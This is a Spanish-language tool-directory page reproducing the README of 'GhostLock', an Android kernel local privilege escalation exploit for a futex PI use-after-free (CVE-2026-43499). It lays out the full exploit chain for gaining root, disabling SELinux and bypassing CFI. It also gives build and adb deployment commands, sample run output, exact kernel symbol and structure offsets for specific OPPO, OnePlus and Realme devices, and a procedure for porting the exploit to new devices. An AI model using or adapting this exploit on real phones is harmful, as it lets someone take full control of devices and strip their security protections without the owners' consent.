Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
GhostLock — CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
Herramientas/GitHubGitHub/wzhdgithub/ghostlock
Seguridad AndroidEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Binarios
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

Ver Repositorio
3hace 7 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GhostLock - Explotación de elevación de privilegios local CVE-2026-43499

Resumen de la vulnerabilidad

ID CVE: CVE-2026-43499
Tipo de vulnerabilidad: UAF (Use-After-Free) en pila de futex PI (herencia de prioridad)
Alcance: kernel de Linux 6.1 ~ 6.12 (Android GKI)
Efecto: elevación de privilegios local + desactivación de SELinux, obtención de shell root

Principio de funcionamiento

Ruta de disparo de la vulnerabilidad

root@kitploit:~
Espacio de usuario → pselect() → se asigna rt_mutex_waiter en la pila del kernel
                      → la operación futex PI desencadena la liberación del waiter
                      → la memoria del waiter liberado se reutiliza mediante operaciones fd_set
                      → los campos del waiter se controlan con datos fd_set cuidadosamente construidos
                      → rb_erase() desencadena una escritura arbitraria en la memoria del kernel

Cadena de explotación

  1. Disparo de la vulnerabilidad: mediante pselect() + futex PI se libera de forma competitiva rt_mutex_waiter en la pila del kernel
  2. Control del diseño de memoria: rociado del montón del kernel con pipe_buffer para construir un rt_mutex_waiter falso
  3. Escritura arbitraria: uso de las operaciones de árbol de rb_erase() para escribir punteros controlados en la dirección objetivo
  4. Ruta de elevación de privilegios:
    • Modificar la estructura cred: uid/gid → 0, capabilities → todas habilitadas
    • Desactivar SELinux: selinux_state.enforcing → 0
  5. Verificación: volver a escanear ashmem_fops para confirmar la integridad de CFI

Estructura del proyecto

root@kitploit:~
GhostLock/
├── README.md                    # Este documento
├── src/
│   ├── core/                    # Código de explotación principal
│   │   ├── main.c               # Entrada principal, disparo de la vulnerabilidad
│   │   ├── pipe.c               # Rociado de pipe_buffer
│   │   ├── fops.c               # Secuestro de operaciones de archivo
│   │   ├── root.c               # Elevación de privilegios + desactivación de SELinux
│   │   ├── slide.c              # Manejo de la aleatorización de direcciones del kernel
│   │   ├── util.c               # Funciones de utilidad
│   │   ├── miniadb.c            # Servidor ADB en miniatura
│   │   ├── common.h             # Definiciones comunes
│   │   ├── target.h             # Configuración del objetivo
│   │   ├── offset.h             # Incluye desplazamientos
│   │   ├── runtime_offsets.h    # Tabla de desplazamientos en tiempo de ejecución
│   │   └── kernelsnitch/        # Sondeo de direcciones del kernel
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # Adaptación de dispositivos
│       ├── offsets.h            # Definición de estructura de desplazamientos
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # Herramientas auxiliares
│   └── extract_btf.py           # Script de extracción de desplazamientos BTF
├── btf_*.py                     # Conjunto de scripts de análisis BTF
├── Makefile                     # Script de compilación
├── compile.cmd                  # Script de compilación para Windows
├── build.rsp                    # Archivo de respuesta de compilación
└── ghostlock                    # Artefacto de compilación (ELF aarch64)

Dispositivos compatibles

Compilación

Requisitos del entorno

  • Android NDK r27c o superior
  • Python 3.x (para análisis BTF)
  • Linux/macOS/WSL (se recomienda Linux)

Pasos de compilación

root@kitploit:~
# 1. Establecer la ruta del NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. Compilar
make

# 3. O compilar directamente con el NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Compilación en Windows

root@kitploit:~
# Usar el compile.cmd proporcionado
compile.cmd

Uso

Requisitos previos

  1. El teléfono tiene la depuración USB activada
  2. El ordenador tiene instalados los controladores ADB
  3. El teléfono está conectado al ordenador mediante USB

Pasos

root@kitploit:~
# 1. Confirmar la conexión del dispositivo
adb devices

# 2. Confirmar la versión del kernel (debe coincidir)
adb shell uname -r
# Salida esperada: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. Enviar el exploit al teléfono
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. Ejecutar el exploit
adb shell /data/local/tmp/ghostlock

Ejemplo de salida de ejecución

root@kitploit:~
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Indicadores de éxito

  • Aparece el indicador # (shell root)
  • El comando id muestra uid=0(root)
  • getenforce devuelve Permissive

Detalles técnicos

Diseño de memoria del kernel

root@kitploit:~
KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Desplazamientos de símbolos clave (Find X8)

Desplazamientos de estructuras (verificación BTF)

Ruta de explotación

  1. kernelsnitch - escanear la región direct_map para localizar mm_struct
  2. pipe spray - ocupar la memoria del waiter liberado con pipe_buffer
  3. pselect trigger - disparar el UAF y reutilizar el waiter liberado
  4. rb_erase write - lograr escritura arbitraria mediante operaciones de árbol rojo-negro
  5. cred patch - modificar las credenciales del proceso actual
  6. SELinux disable - desactivar el control de acceso obligatorio

Adaptación de dispositivos

Añadir un nuevo dispositivo

  1. Extraer la imagen del kernel:

    root@kitploit:~
    # Extraer boot.img del teléfono
    adb pull /dev/block/by-name/boot boot.img
    
    # O extraerlo del paquete de firmware
    
  2. Extraer kallsyms:

    root@kitploit:~
    # Usar vmlinux-to-elf
    python3 -m vmlinux_to_elf boot.img
    # Seleccionar la opción "Extract kallsyms"
    
  3. Extraer información BTF:

    root@kitploit:~
    python3 btf_task2.py > task_full.txt
    python3 btf_structs2.py > structs.txt
    
  4. Crear la entrada del dispositivo:

    root@kitploit:~
    mkdir -p src/devices/mydevice
    # Copiar una entrada existente como plantilla
    cp src/devices/findx8/offsets.h src/devices/mydevice/
    # Modificar los desplazamientos
    
  5. Registrar el dispositivo: Añadir en src/devices/offsets.h:

    root@kitploit:~
    #include "mydevice/offsets.h"
    

Métodos de obtención de desplazamientos

Scripts de utilidad

Scripts de análisis BTF

root@kitploit:~
# Extraer todos los miembros de task_struct
python3 btf_task2.py > task_full.txt

# Extraer todas las estructuras clave
python3 btf_structs2.py > structs.txt

# Extraer estructuras específicas
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# Extraer datos BTF sin procesar
python3 btf_raw.py > raw.txt

Extracción de kallsyms

root@kitploit:~
# Usar vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# O usar un script personalizado
python3 run_kallsyms_finder.py

Notas de seguridad

⚠️ Advertencia: esta herramienta es únicamente para investigación de seguridad y pruebas autorizadas. Usarla sin autorización en dispositivos de otras personas es ilegal.

Limitaciones conocidas

  • Requiere que la depuración USB esté activada
  • Requiere conexión ADB (no se puede explotar de forma remota)
  • La versión del kernel debe coincidir exactamente
  • Algunos dispositivos pueden tener mecanismos de seguridad adicionales

Protección CFI

Este exploit puede evadir la protección de Control Flow Integrity (CFI) del kernel mediante:

  1. Verificar la validez de la dirección de ashmem_fops
  2. Usar copy_splice_read como destino de llamada legítimo
  3. Volver a escanear para confirmar la integridad de CFI

Depuración

Preguntas frecuentes

P: Aparece "no offsets for kernel: xxx" R: La versión del kernel no es compatible; debe añadir una entrada de dispositivo

P: El exploit se queda bloqueado R: Puede ser un fallo de condición de carrera; reintente varias veces

P: Aparece un kernel panic R: Es poco probable (panic_on_oops no está configurado), pero puede comprobar dmesg

Salida de depuración

root@kitploit:~
# Habilitar la salida detallada
adb shell /data/local/tmp/ghostlock -v

# Ver los registros del kernel
adb shell dmesg | tail -50

Recursos relacionados

  • Detalles de CVE-2026-43499
  • Investigación original de GhostLock
  • Kernel GKI de Android

Licencia

Este proyecto se distribuye bajo la licencia MIT.

Agradecimientos

  • Gracias a todos los investigadores de seguridad por sus contribuciones
  • Gracias al equipo de seguridad de Android por su respuesta
  • Gracias a la comunidad de código abierto por su apoyo

Última actualización: 13 de agosto de 2026
Autor: wzh
Contacto: [email protected]

Descargar herramienta
DispositivoVersión del kernelEstado
OPPO Find X8 (MT6991)6.6.118-android15✅ Adaptado
OnePlus Ace 6T6.1.x✅ Verificado
OnePlus 156.1.x✅ Verificado
OnePlus Pad 26.1.x✅ Verificado
Realme RMX50706.1.x✅ Verificado
SímboloDesplazamiento
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298
EstructuraCampoDesplazamiento
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8
InformaciónFuenteHerramienta
Direcciones de símboloskallsymsvmlinux-to-elf
Desplazamientos de estructurasBTFbtf_task2.py
Diseño de la memoria físicaIKCONFIGextract-ikconfig
Versión del kernelunameadb shell uname -r